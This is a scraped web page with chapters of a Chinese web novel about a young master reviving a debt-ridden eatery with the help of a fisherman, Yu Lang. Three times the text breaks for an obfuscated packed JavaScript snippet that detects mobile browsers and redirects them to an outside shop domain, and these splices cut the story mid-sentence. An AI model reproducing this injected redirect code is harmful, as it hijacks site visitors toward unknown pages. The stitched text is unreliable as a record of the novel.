;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224311|197551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”余浪一一报出。 温沅意外地看了他一眼，凑到他身边小声说：“你竟然记得住。” 余浪偏过头，低声笑道：“陈大立出门采买前正好念了一嘴。” “原来如此。”温沅点点头，那这就不算他作为少东家不尽责了。 “二钱银子就拿菜钱抵，先送三日。”温沅和杨光说。 “您尽管放心！”杨光回道。 从老院出来后，余浪手边多了一篮子菜，温沅打开账簿算了算最后到手的债款。 兜兜转转，到头来十五两的债款，只要回一两三钱，杯水车薪。 温沅翻开账簿，密密麻麻的陈年旧账，压不到那些人，只压着他。 “少爷心善，自然不好要债。”余浪卖鱼多年，深知其中艰辛，有时候熟客并不意味着生意稳定，有的人仗着那几分熟稔，恬不知耻地多要几分利。 得寸进尺是常有的事，若是不给，只怕闹得脸面无光，反目成仇。 借债这事儿，就得做好无法收回的准备。 这些道理温沅如何不知？对着那些泼皮无赖，尚且能毒打一顿泄愤，可对着有难处的人，心软在所难免。 几番纠结，化作一声轻叹。 “罢了。”温沅抽出扇子轻摇，往前走，“再想想法子。” “少爷。”余□□住他。 温沅偏过头：“怎么？” 余浪抬手指向前方：“那有家赌坊。” “嗯？”温沅愣住，“你……让我去赌？” “当然……”余浪也愣了，“不是。” 日照当空，东塘里街逍遥赌坊。 温沅抬头望了一眼牌匾，跟着余浪走入东塘里街的另一条窄巷里，“在这儿可以等到？” “可以。”余浪很肯定，“有赌瘾的人，即便不赌，也会忍不住去赌坊看。” 话音刚落，巷子传来一段口哨声，此时天边烈日，一抹黑影摇摇晃晃出现在巷子口。 影子从头到身子到脚，直到影子的主人出现，余浪一个拉拽，地上长影消失不见。 烈日照不进窄巷，一片昏暗。 高大的阴影落下，李大富四肢发软刚想嚎，就被人捂住了嘴巴，他“呜呜呜”嚷起来。 显然，劫持他的人并不想听他求饶，他撞胆睁开眼缝，看清了跟前的人是谁。 余浪利落地把人捆住，抽出李大富的腰带，塞到他嘴里，二话不说就开始掏袖子。 温沅被他这劫匪行径震得有些懵，他愣愣地上前想帮忙，被余浪挡下。 “我来。”余浪低声说：“莫脏了少爷的手。” “……”温沅看了眼李大富脏兮兮的衣裳，缩回了手。 “唔！唔！唔！”李大富睁大双眼，拼命挣扎。 余浪从他袖子掏出钱袋，拉开一看，里头竟有五两银子。 他踹了李大富一脚，从里头拿出一两二钱给温沅。 “这些钱，怕是瞒着他的妻儿偷拿出来的，不如给他妻儿送回去。”温沅说。 余浪顿了顿，“好，少爷在这儿等我。” 他一把抓着李大富的领口，将人拖回六巷李家，钱袋丢到李大富胸口，拍了拍那扇满是刀痕的木门。 脚步声传来，余浪闪身离去。 只闻巷子传来一声暴呵：“李大富你个天杀的！老娘辛辛苦苦攒下一点银子，你竟敢偷！我打死你个畜生！” “老娘不跟你过了！今儿个就回娘家！” 回到小巷口，温小少爷蹲在小菜山旁边，捻了片菜叶子玩，余浪走过去提起菜篮，随口道：“那家的小哥儿应当不会被卖。” 温沅一怔，仰起头：“什么？” “他娘说不过了，要回娘家。”余浪说。 温沅愣了好一会儿，笑笑：“挺好。” 他丢掉菜叶子刚要起身，一股酸麻意从脚后跟传到天灵盖，他一把抓住余浪的手臂，“嘶——脚麻了……” 余浪猛地绷紧身体，又缓缓放松下来，他余光瞥见小少爷指尖重重抓着他手臂龇牙咧嘴的模样，喉头一滚，鼻间哼出一声轻笑。 温沅全然不觉，待到缓过了劲儿，才意识到自己一直攥着余浪的手臂，硬梆梆的，抓得手指生疼。 他松开手，偷偷甩了甩手指，“走。” “嗯。”余浪将手臂背到身后，快步跟了上去。 11. 食肆整治（十一） 回去路上，温沅特意让余浪指了条远路。 他来今州城这么久，一直在食肆和码头之间来回逃窜，别说路上的风景没闲心看，就算是遇到美食也没敢停下，现在正好逛一逛。 路过丁家食肆的时候，才发现这家生意是真的好。 丁家食肆共两层，说是食肆，跟个小酒楼差不多，光是在门口招呼的伙计就有两个，旁边还站着一打手，手里提着东西的客人一进去，伙计们热情地接了手，丝毫不用客人们费心。 温沅多看了几眼，发现那打手怒瞪了他们一眼，准确来说，是瞪着余浪。 “你跟丁家食肆有什么恩怨？”温沅问，“这么久了，都还记着呢。” 余浪没看那人，偏头看着温沅：“上个月他们想压价，我没应，前不久结账时说账上没钱，押后结，后来我来问了几次都如是说，我便砸了店。” “厉害啊。”温沅看了眼丁家食肆，确实有不少修缮过的痕迹，看来闹得挺大。 修缮倒是有钱，结账就说没钱，显然不是钱的问题。 “大掌柜有家亲戚也想供鱼。”余浪解释道。 “那给你结钱，让你别再供货就是了，为何要使手段？”温沅问。 “逼我这一遭是为了让丁老板知晓不是掌柜的不让我供货，而是我砸了店，主动毁约。”余浪说。 温沅搞不懂：“图什么？” “我一走，大掌柜就能安排自家亲戚供货，吃钱便是理所当然。”余浪说。 所以就能解释为何上回丁志德说余浪是个大麻烦，兴许是余浪砸了店后丁家大掌柜在丁志德面前说了什么。 “少爷，采买最好吃钱。”余浪说。 温沅愣了愣，他倒是没想过这事儿，光是食肆那一堆事儿就够人烦的了。 带着一篮子小菜山，眼瞅着烈日当空照，菜叶开始发蔫，温沅没继续逛，和余浪一块儿回食肆。 回到食肆，饭点已经过去，这段时间是客人最少的时候，隔壁面馆一个客人都没有，老板靠着门框打瞌睡，老板夫郎和伙计坐在门口摘豆角。 没一会儿，那瞌睡的老板发出挺大的鼾声，老板夫郎顿时拧起眉，拿起一条豆角就甩过去。 老板没被打醒挠挠脸继续睡，鼾声未停，老板夫郎把手里的豆角摘成两段，一起塞进了老板的鼻孔里。 “……”温沅决定这个月都不要吃豆角。 他转过头和余浪说，“把菜给吕三娘时，一定叮嘱她洗干净些。” 余浪应了一声。 周七豆和郭巴子见二人回来，打了个招呼便继续擦洗桌子。 饭点后的桌椅大多油腻，趁着午后客人少洗一洗，晚食来吃饭的客人坐着就舒心。 食肆挣了些钱，几文一把的无患子买得起，因此用的时候也没怎么省，怎么干净怎么用。 “陈掌柜呢？”温沅看了一圈，不见陈贵礼的人影。 “掌柜的在柜台后边。”周七豆说。 温沅未见其人先闻其声，鼾声高低起伏，颇有节奏。 不等温沅把人叫醒，余浪对着摇椅的脚蹬用力一踩，睡得正香的陈掌柜猛地往前扑去，险些摔倒。 “谁？”陈贵礼气得脖子发紫，猛地转身。 “陈掌柜睡得挺香？”温沅斜靠在柜台似笑非笑地看着他。 余浪不紧不慢地收回脚，只见摇椅脚蹬“啪”地一声碎裂成两截。 陈贵礼头皮一阵发麻，高涨的气焰顿时烧得不上不下：“少、少东家……” “陈掌柜，这是食肆，不是客栈，你若要睡觉便出去睡。”温沅说。 “……是是。”陈贵礼连忙点头，“一不小心睡过了头，这帮伙计也不帮着叫叫……” 温沅听到他推卸责任，顿时火起：“你身为掌柜，这点规矩都不知？” 陈贵礼活这么些年，第一次被个十几岁的娃子当面训斥，一张老脸红一阵白一阵，烧得慌。 他感觉到周七豆和郭巴子的目光时不时往他身上扫，往常都是他训斥别人，哪有别人训斥他的份儿？ 要不是为了那笔钱，何故忍到现在？ 但都忍到现在了，只能再忍忍，他不能因小失大。 “少东家说得对，我一定注意。”陈贵礼说。 温沅看了他一眼，偏过头吩咐余浪：“把摇椅撤了。” 余浪单手拎起，“摇椅不要了？” “怎么？”温沅问。 “下工后，我可以拿去换钱。” “坏了也能换？” “能。” 温沅眼前一亮，“换！” 陈贵礼心里怄得不行，又不敢表露，还得强笑着附和，面容一度扭曲，寻了个干活儿的借口便走开了。 其实午后没客人不忙的时候，温沅并不介意伙计们歇一歇，干活儿多累啊忙里忙外的，他自己都想撂挑子不干了。 但食肆才刚有点好转的迹象，现在撂挑子就等着被张屠户等人和伙计们追杀吧。 到时余浪都未必救得了他……不对，他还欠了余浪不少鱼钱呢，指不定余浪也要一起砍他。 得挣钱，挣大钱！ 这时吕三娘从后院进来，招呼所有人吃饭。 食肆里没客人，但也得留一人在大堂看着，陈贵礼自知理亏主动留下。 郭巴子把布巾一丢，蹦着去吃饭，周七豆把最后一点擦完才过去。 吃过饭，温沅招呼陈大立来算今早采买的账，陈大立如往常一般报数，温沅记。 “少东家，就是这些了。”陈大立说。 “一文不剩了？”温沅原本记了账就行，想起之前余浪说的话，仔细看了看账簿，“白萝卜四文一斤，春笋七文一斤，野山椒十二文一斤……你是到哪处菜肉行买的菜？” 陈大立一愣：“城东就这一处菜肉行，自然是在那买的。” “所以你一百文买了三十斤菜？”温沅问他。 “是、是啊……”陈大立瞟了温沅一眼，下意识缩了下脖子。 “今早我从菜肉行路过时，听了一嘴叫价。”温沅说。 “那肯定是他们的菜不好，才会这般便宜！我买好一些的菜，自然贵一些。”陈大立说。 “哦？”温沅看着他，“你如何得知我听到的叫价比你的要便宜？” “我……”陈大立噎住，连忙转头看向一旁的陈贵礼，今早调料加买菜剩下的三十文，他叔父可是吃了二十文的！ 陈贵礼刚被训过，哪敢在这个时候帮陈大立说话，只得当没看到。 陈大立暗自啐了一口，恨得咬牙切齿。 温沅再算了一次账，估摸着陈大立吃钱没敢大吃，只是怎么处理这件事，他一时没头绪。 若是辞退陈大立，食肆没了大厨怕是开不下去，且像丁家食肆的大掌柜都想着吃钱，想来这样的事难以杜绝，可不小惩大诫，来日怕是要变本加厉。 他想了想：“扣除你二人今日的工钱，以后的采买交给吕三娘。” 陈贵礼震惊：“少东家，为何我也扣？” “你身为掌柜合该查账，为何不扣？”温沅想到他今日所为就大为光火，“不仅账不查还偷闲，且扣你三日工钱以作警醒，若有下回，决不轻饶。” 陈贵礼恼恨地闭上了嘴，这陈大立一点屁事都办不好，吃个几十文都能被发现，没用的东西！ 这少东家更是抠搜，哪家掌柜的不吃钱？不吃钱干什么掌柜？ 他都干掌柜了，歇个晌又有什么错！ 陈大立恼恨地看了陈贵礼一眼，转身回后厨去了，碰到吕三娘，他阴阳怪气地哼了一声。 吕三娘不知其意，直到周七豆把她喊去大堂，才得知采买的事给了她。 “买得多便让店家送，不必自己受累。”温沅以前买东西都是让人送上门，少有自己拎的时候，买得多店家也乐意送，混个脸熟。 “知道了少东家。”吕三娘点头。 日渐西斜，食肆的客人渐渐多了起来，甚至比前几日送小鱼还多。 一家只卖鱼的食肆能有这么多客人实属不易，只是这样的景象只是一时，想要长久留客，光是菜肴做得好还不够，还得做出新意。 然而新意难做，不是一两日就能成的，得想想别的法子。 余浪一听，便说他有法子，且过两日就能带来。 温沅顿时有了期待。 过了两日，天微亮，温沅打着哈欠从房里出来，看到余浪背着两个大鱼篓，腰间挎着一个稍小的鱼篓，好奇道：“拎了什么？” “新捞的螺蛳。”余浪拿了个木盆，装上水后，把螺蛳倒了进去，“少爷喜欢吃螺蛳么？” 爆辣香螺蛳，谁能不爱？ 光听这名儿，温沅彷佛闻到了紫苏香，这味儿着实令人念念不忘。 吕三娘听到声音出来一看，螺蛳铺满了整个木盆的底，“好多啊，能焖一大锅呢。” 她比任何人都高兴，有新菜品意味着食肆挣钱，“我去拿个大点的木盆，让螺蛳吐沙。”说完去杂物房找大木盆。 温沅走到余浪身旁，“这一篓什么价啊？” “这一篓没多少，不收钱。”余浪蹲在井边 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“少爷，当初我是答应给你当护院，不是食肆。”余浪说。 温沅不由地歪了歪脑袋，回想了一下，确实是。 上道啊这人。 光盯着食肆有什么用，跟着老板才有饭吃呢。 螺蛳自然吐沙得两日，要是放盐，就能加快，温沅等不了螺蛳慢慢吐沙，让吕三娘多撒些盐，今日势必做出一锅新螺蛳。 螺蛳想要做得入味脆嫩有嚼劲，火候时间最重要，焖久了螺肉就成渣，极其难吃。 光炒螺蛳没意思，得加点配料，焖鸡焖鸭都可以，做法不同，然而温沅最爱的，还是焖鸭脚。 俗称螺蛳鸭脚煲。 鸭脚肉不易烂，啃起来有嚼劲，皮肉全是焖螺蛳的汁儿，能把人香得找不着北。 “但是少东家，”陈大立说：“卖鸡鸭的老板不愿给食肆供货，买不着这么多鸭脚……” “去别的摊子也不能买？”温沅问。 “他们都是认识的，知道食肆欠了债。”陈大立说，“再者说，小摊上散卖的农户，也凑不到这么多鸭脚啊……” “……”温沅头疼，看来这个螺蛳鸭脚煲还得先还钱才能做，“那就做爆香螺蛳，今早的菜农杨光给食肆送的菜里，可有假蒟叶？” “有的有的，还有不少辣子。”陈大立迟疑：“假蒟叶和螺蛳一块儿焖？” “对。”这是温沅吃过最特别的一道焖螺蛳，和别的焖螺蛳口味都不一样，仅一次便记住了这个味道。 “可是……”陈大立显然对温沅的提议不赞同，然而温沅没给他拒绝的机会。 “做。”温沅一锤定音。 爆炒螺蛳是陈大立真正的拿手菜，这道菜，他一回就做成了。 假蒟叶香气浓郁，使得螺肉更加鲜香，香味直冲大堂，郭巴子直接冲进来喊：“少东家，有食客问是不是做了螺蛳，想点！” 所有人望向温沅，等着温沅下决定。 温沅问陈大立：“这一锅做了多少？” “三盘。”陈大立有些紧张，怕少东家还让他继续做，不给上菜。 “客人点了多少？”温沅转头问郭巴子。 “客人说有多少上多少。”郭巴子连忙说。 “全上。”温沅说，“剩下的螺蛳全部做完，定会有客人再点。” 他吩咐完，又补充了一句：“做完后，留两盘。” 吕三娘愣了愣：“为何要留两盘？” “大家干活儿辛苦，这两盘留着大家吃。”温沅笑道。 所有人都愣了。 郭巴子直接原地蹦起，一头扎回大堂，他决定今天暂时不偷懒，兴许少东家看他勤快，给他多嗦几个，那真是爽啊！ 周七豆不知郭巴子怎么突然如此兴奋，竟然主动干活儿，真是少见……后来才知原来是少东家特意给他们留了好吃的。 他不禁想，少东家人可真好，上回的炙烤小鱼和新菜品，只要上了，都会让他们尝到，丝毫不会亏待他们。 哪像陈贵礼做掌柜时，午食晚食好几日不见点荤腥，食肆进了货卖不完的，就自己拿回家，绝不会给他们留下一点儿肉渣。 周七豆平日干活儿就勤快，今日更是积极，食肆打烊后，一张张桌子被他擦得锃亮。 “七豆，来嗦螺了！”吕三娘喊。 周七豆回道：“来了！” 12. 食肆整治（十二） 卖了好几日的炙烤小鱼迎来平淡期，每日入账稳定在三百文左右，街坊邻里也都习惯了温家食肆传来的焦香。 熟客们自觉排着队，等着厨娘烤小鱼，然而今日厨娘站在烤炉前迟迟未动，他们等不及，纷纷问“作何不烤”、“家里孩子等着吃呢”、“快些吧”。 催得急了，队伍开始变形。 这时，一小少爷手持折扇从食肆里走出来，指挥一高大汉子将一口铁锅摆到了食肆大门外，大锅底下炭火缓缓煨着，葵扇一扇，满满的锅气传来，紧接着是带着辣味的香。 “这啥啊？怎的这么香？” “这味好像是螺蛳？闻着就辣鼻子。” “好像还有假蒟叶？这香味闻一次就不会忘，这跟螺蛳一起焖，能好吃么？” …… 锅盖一掀，果然是爆香螺蛳。 这时节的螺蛳最受欢迎，别家摊子食肆酒楼早早就上了这道菜，不管是晚食还是夜宵，无论做了多少，都能卖完。 每一家螺蛳的做法都不同，焖的炒的煮的，大差不差，然而温家食肆这道假蒟叶焖螺蛳却是罕见。 闻着十分独特，一丝腥味都没有，只有浓浓的鲜香。 熟客们在犹豫，全都等着那卖螺蛳的汉子吆喝几句，可这人竟是一句话不说，只顾着盛螺狮。 郭巴子见状，悄么声地和周七豆说：“这样冷着脸不招呼，怎可能卖得出去？” 周七豆缩了一下脖子，他每次见余浪都不敢直接仰头看，这么久了，他也不知余浪到底长什么模样，只知这人高猛缄默，瞧着就吓人。 这还是第一回瞧清楚余浪的脸，没成想这人竟然如此俊朗，不过俊朗归俊朗，冷着脸时也的确吓人…… 这要是卖不出去怎么办？周七豆有点急，小声说：“要不……你吆喝一下？” “我才不去，少东家又没喊我去，再说了，里边活儿这么多呢，干活儿去。”郭巴子说完拉着周七豆回了食肆。 温沅听了他们的话，转头看向余浪。 余浪已经把一份螺蛳盛好，摆到众人面前，他往常卖鱼不爱大声吆喝，一筐活蹦乱跳的鱼摆在面前就是最好的招牌。 此时他将竹签放到碗里，只说了一句“可试吃”，便不再多言。螺蛳好不好吃，说再多都没用，不如亲自尝一尝。 说到试吃，那可就没人假客气了，一眨眼，那碗螺蛳只剩汤汁，周围吸螺声滔滔不绝，个个人撅着嘴腮帮子一收一放，螺肉轻松入口。 钱老爷和钱管家路过温家食肆时，听这动静，不由地止步。 钱老爷平时对吃的没多馋，然而闻到扑鼻香再看这群人各个脸上盛满惊喜，顿时起了好奇心，转头和钱管家说：“去瞧瞧卖什么呢，这么多人。” 钱管家也好奇呢，走近一看，那高大汉子怎么这么眼熟？转头一看旁边那小少爷更是难忘。 这不就是前阵子上府里追债的那两个人么？ 上回才说了绝不吃他们家东西，若是现在被他二人认出岂不丢脸？ 钱管家看了一眼就回头和钱老爷说：“老爷，没甚么稀奇的，就是卖螺蛳，丁家食肆也有卖，比这家好吃多了，老爷想吃，我便去买些回来。” “螺蛳啊？”钱老爷闻言确实有些失望，看这么多人，还以为是什么稀罕物，“罢了，去丁家——” 话没说完，前边有人高声说了一句：“你家这螺蛳味道怎么跟别家不一样？可香太多了！” “还有螺肉，太有嚼劲儿了！” “是啊！我以前吃螺蛳，怎么嗦都嗦不出来，腮帮子都嗦疼了，你家的螺蛳吸一下就出来了！都用不上竹签！” “给我来再一盘，能不能打包啊？” 钱管家十分不屑地撇开眼，再好吃，能有丁家食肆的好吃？那可是当日捞的！一群没见过世面的人，没钱也只能吃点街边食肆卖的小螺蛳解解馋。 “去买一份来尝尝。”钱老爷听馋了。 钱管家一愣：“老爷，您说买什么？” “螺蛳。”钱老爷说。 钱管家万般不愿，奈何钱老爷铁了心要吃，他只得硬着头皮去买，排到他时，那高大的汉子显然认出了他，坐一旁悠哉摇扇的小少爷同样看了过来。 “来一份螺蛳。”钱管家偏过头，假装他们认错了。 余浪盛出螺蛳，淡声道：“记得将钱给到我家少爷手上。” 温沅笑眯眯地伸出钱袋，钱管家快速掏出铜钱丢进去，拿过螺蛳什么话都没说转身就走。 “好吃再来。”温沅笑道。 钱管家走得更快了。 钱老爷顾不上什么仪态，站在街边捻起一个螺蛳放到嘴边，鲜香的螺蛳汁顺着手指滑落，他赶紧举起手吸掉，汤汁微辣，他弹了弹舌头，才去吸螺。 果然如方才那人说的，一下就吸了出来，螺肉十分鲜美，若是再配壶好酒，能把舌头吞了。 “走，进店点两盘。”钱老爷说。 “老、老爷？”钱管家瞪着双眼，以为自己听错了。 钱老爷摆了摆手，率先进了食肆，钱管家顶着那小少爷含笑的目光，绷着脸跟了进去。 陈贵礼见到钱老爷和钱管家进来，略微诧异，钱老爷可是丁家食肆的常客，订席吃菜都爱选丁家，不知今日怎么到温家食肆来了。 “郭巴子，给二位看茶！”他迎上去，笑道，“二位可是贵客啊，不如到雅间去？大堂吵嚷得很。” “不用。”钱老爷只是一时兴起想嗦螺，“随意找个桌就成。” 陈贵礼把人带到东五雅座，这处安静些，他站到柜台后，时不时往钱老爷处瞟两眼，只见钱老爷嗦螺嗦得那叫一个欢，两盘螺蛳，一瞬间不剩多少。 没过多久，他听到钱老爷把郭巴子招呼过去，细细一听，竟是要在温家食肆点菜吃饭。 钱老爷这般阔绰的人，什么山珍海味没吃过？没想到会被温家食肆的菜品吸引。 直到现在，陈贵礼不得不承认，那嘴刁的娇贵小少爷的确有点能耐，若是放任小少爷这么经营下去，食肆岂不是真要翻身？ 不成，不能让食肆翻身。 翻了身，食肆就真的卖不成了。 别有风味的田螺让温家食肆回到了第一日卖炙烤小鱼的热闹，好卖程度出乎温沅意料，他原想着这就是道添头小菜，没成想还能把食肆里最难卖的酒都顺带着卖了不少。 也就是碰上吃螺蛳的好时节，俗话说“三月螺，赛肥鹅”，过了这档口，就得等到中秋前后，因此好这一口的客人都紧着这段时间吃。 温沅算了一下账，这日光螺蛳入账就将近四百文，可见其多么受欢迎。 要是加入鸭脚，一定更受客人们青睐。 还是得还债啊，等还清了债务，才能让债主们恢复供货。 不急不急，再有个把月一定能还完。 他合上账簿，伸了个懒腰：“债一清就能过上逍遥日子了……” 话音刚落，余光瞥见余浪从后院走来，笑着招了招手：“明日你能从别处收多少螺蛳过来？” 余浪走过去：“约莫三十斤螺蛳。” 温沅点了点头：“明日我让郭巴子和陈大立到码 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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温沅抬头看了他一眼，忽地说：“签了卖身契书，你就不是护院，而是我的仆人，想好了？” 余浪看着他，点头：“行。” 温沅见他应得干脆，反倒顿了一下，“你可知卖身为奴是什么意思？” “知道。”余浪说：“往后，我就是少爷的财产。” “……挺有觉悟。”温沅没想到他能一本正经应下，挑起眉：“你若是不识字，我给你念念，了解清楚再按手印。” 余浪低声笑了一下：“我不识字，辛苦少爷念一念。” 温沅斜乜他一眼，拿起契书，煞有其事地念起来，嘴巴说的和纸上写的两模两样。 余浪垂眼看着契书，耳朵听着少爷胡诌，十分认真。 小少爷的声音带着少年人的清朗与柔和，宛若河溪里鱼儿戏水，清脆悦耳。 一纸契书不长，温沅念完后，将契书摆在他面前，点了点按了手印的地方，“按这儿。” 余浪毫不犹豫地按下，按完后，他多问了一句：“如此，我便成了少爷的仆人？” “后悔了？”温沅将按了手印的契书折好放入袖中，泰然道：“契书已签，后悔也无用，倘若你做得好，就给你写放良文书。” “少爷果真心善。”余浪看着他。 温沅勾唇笑了笑。 13. 食肆整治（十三） 余浪没让郭巴子和陈大立到码头帮忙，他没说大话，这点重量他的确没放在眼里，不过今日他不是一人来的。 此时天还未全亮，清晨雾气未散，码头来了一艘大船，扛大包的汉子早早在边上候着，只等管事一声吆喝就上船卸货。 码头边上摆满了卖早饭的小摊，雾气与烟火气缭绕。 余浪绑好缆绳，招呼余泽平和余一洪把鱼篓搬下船，他们在这边卸货，那头的大船也同样在卸，一阵儿鱼腥传来，让码头边上卖早饭的小摊都止不住往后挪了挪。 “那是海货吧？”余泽平说。 余一洪嗅了两下，一巴掌拍到船沿上：“肯定是，这是通洲海的味儿！” 余泽平瞥了他一眼：“你还知道通州海是什么味呢？” “我可是去过一回的，怎么会不知道？”余一洪不服气，转过头问余浪：“是吧浪哥？” 余浪没接话，直起身看了一眼，年年都有海货没什么稀奇的，倒是不远处有三个汉子甚是眼熟，仔细一瞧，就是上回在码头遇到的三人，丁志德身边的两个打手。 “浪哥，你看什么？”余泽平顺着余浪的目光看过去，“那是上名村的捕鱼汉子吧？” 余浪一顿，转头问他：“这三人叫什么？” “上名村陈家三兄弟。”余泽平说：“他们不和咱们在一处捕鱼，平时也遇不上，浪哥，你问他们做甚？” “先前遇到了。”余浪说。 “这三人没什么真本事，捕鱼只会用药草晕，一条江都被他们霍霍了。”余泽平说。 余浪点了点头，如此说来，这三人就是丁家大掌柜给丁家食肆推荐的供鱼人了。怪不得上回来码头守着，估摸着是想堵他，也不知为何没动手。 卸下最后几个装着螺蛳的鱼篓，余浪和余泽平余一洪一人背了两个大鱼篓腰间挎着小鱼篓，快步往温家食肆去。 到了温家食肆后门，来开门的竟是温沅。 只见温沅靠着门框用折扇遮着打了个哈欠，然后迷迷瞪瞪地仰着头问他：“啊……这么早？” 余浪盯着他眼角溢出的那一滴晶莹剔透的泪珠，往旁边小挪了一步，挡住后面两人的目光，低声道：“少爷，困的话，回房睡一觉？” 温沅摆了摆扇子，生无可恋道：“昨夜不知哪家来了偷子，叮呤哐啷闹了一宿，现下睡不着了。” “少爷没事吧？”余浪看了一眼温沅，又转头看向门锁，没有损坏的痕迹。 “我能有什么事？食肆这么多人呢……”温沅说完偏开身拉开门，正巧看到余浪身后还跟着两人。 余浪又高又壮，他一人堵在门口，愣是把后面两人遮得严严实实。 “这二位是？”温沅眨了眨眼，揉去眼角的泪珠。 余浪这才侧过身，指了指身后两人，“同村的弟弟，螺蛳便是向他们收的。” “我叫余泽平，他叫余一洪。”余泽平拱手，余一洪跟着拱拱手：“温少爷好。” “二位好，辛苦了。”温沅点了点头，瞧见他们还背着鱼篓，赶紧让他们进来。 余泽平和余一洪一块儿把大鱼和小鱼分开倒入两个水缸，剩下三十斤的螺蛳倒入木盆吐沙。 “温少爷，您看看这螺蛳可行。”余泽平说。 温沅过去看了一眼，这一批螺狮挺有活力，时不时从螺壳里探个头出来，且个头均等，螺壳圆滑光泽。 他不懂什么螺蛳好，但他相信余浪带来的人：“瞧着不错，你们这螺蛳什么价？” 余泽平一喜，道：“平日散卖五文六文都有，温少爷要得多，便算您四文一斤。” 三十斤便是一百二十文，按照昨日螺蛳的收益，这个价不高。 “行。”温沅点头笑道：“这个月，每日送三十斤螺蛳到食肆，可行？” 余泽平惊喜地看了余浪一眼，回道：“没问题！” “绝对没问题！我们村属我摸螺最厉害！”余一洪拍了拍胸脯。 此事定下，温沅和余泽平签下买螺契书，契书从明日开始算，十天结算一次，签完契书，温沅数出一百二十文螺蛳钱给余泽平。 余泽平和余一洪拿着钱欢天喜地地卖鱼去了。 两人一走，温沅马不停蹄地招呼伙计们给螺蛳换盆放盐吐沙换水，螺蛳固然好吃，处理起来可不是易事，吐完沙还得剪螺尾。 食肆只做午食和晚食，午食约莫是过了巳时开始进客人，必须在巳时之前把菜备好才不至于手忙脚乱。 后厨忙着备菜，大堂忙着擦桌子扫地，温沅数了五百文用作今日结账的散钱，数完一想水牌还没写。 水牌相当于食肆的菜品招牌，木架子上放一块板子，板子上不光要写字，还得画图，以便客人不识字，路过的行人光看水牌便知食肆主要吃什么或是有没有出新菜品。 “余浪，把今日菜品写到水牌上。”温沅一看那重重的木板，想都没想便喊，喊完突然挑一下眉：“哎，忘了你不识字。” 余浪提起水笔刚要往水牌上写，闻言勾了勾唇角：“这可怎么办，少爷？” “不识字也不耽误你写字啊。”温沅抽出折扇往水牌上一点，笑着说：“快写。” 余浪偏头看了他一眼，提笔点水。 温沅看着余浪大刀阔斧地提笔，最后写出一排潇洒的大字和一条可爱的鱼有些讶异：“你这个鱼有点可爱啊。” 像你。余浪心想。 “螺蛳要画么？”余浪问。 “当然。”温沅指使他：“画完搬出去。” 午时刚过，食肆迎来今日第一桌客人，这是一家五口带着孩子来打牙祭，紧接着进店的是一群汉子，看样子像是码头扛大包的，坐下第一句便是点酒。 “水牌上的爆香螺蛳先来三份。”汉子说。 那边的孩子听到，央求爹娘也点一份尝尝，一下便销出去四份。 食肆忙得热火朝天，温沅到厨房端了碗鱼汤在后院喝，这时，余一洪突然上门，满脸焦急。 温沅愣了一下：“怎么了？” “温少爷，我们想找浪哥。”余一洪急道：“村里头打起来了。” “啊？”温沅懵了。 什么玩意儿？ 等余浪过来，余一洪东一句西一句说得有些乱，那边洗菜的吕三娘和郭巴子都竖起了耳朵。 温沅听了个大概：“你们村子和村子还打架呢？” “好久没打过了，这回是上名村的人过来说是要到我们村捞鱼，村里人不愿，他们便守在村口，像是要干架，所以村长让我来喊浪哥。”余一洪焦急的脸上隐隐有些兴奋。 村子和村子干架可是大事，在外的汉子都必须招回来，尤其像余浪这般武力值拉满的汉子，有他没他可完全不一样。 十几年前垌渔村和另一个村子也有过嫌隙，打了好几回都没赢，村里人一直被那个村子的人欺负，直到余浪长大一些，带着村里年轻的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224314|197551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汉子打赢了一回，自那以后，另一个村子的人见了他们村子的人就跑。 余浪威名在外，垌渔村周围的几个村子都挺和谐，也不知这回上名村犯了什么毛病。 余浪皱起眉：“谁带的头？” “就是今早遇到的那三个无赖！”余一洪气道，“他们非说江里的鱼他们也能捞，明明那是咱们村子养的，凭什么让他们捞去！” 余浪一听便知这三人是冲着他来的，想来捞鱼是假，阻挠他做卖鱼生意才是真。 但他现在签了契书，不能随意去留，一切得少爷决定。 “要是你们村子打输了，以后不就难送鱼了？”温沅喝了口鱼汤，一挥手，“不许输啊。” “少爷放心。”余浪说：“鱼一日都不会少。” 次日，温沅没等到余浪来上工，鱼儿和螺蛳是余泽平余一洪送来的，并且送来了两日量的鱼和螺蛳。 没想到村子和村子干架，能折腾这么久。 “上名村的人不敢打，但是也没走，浪哥在他们就跑，浪哥不在又回来守着，孬得很。”余一洪不屑。 “温少爷，浪哥说还得两日才能结束，所以让我们先把鱼送来。”余泽平说。 一旁的陈贵礼闻言，立即道：“别是村子里送不出好鱼了吧，若是送不出，可不能耽误我们食肆找新的供鱼人啊。” “自然不会！”余泽平急忙道：“浪哥说绝不会耽误送鱼的事，温少爷，浪哥说话从不食言。” 陈贵礼哼了一声：“空口白话罢了，真要食言了，我们去哪找人？” 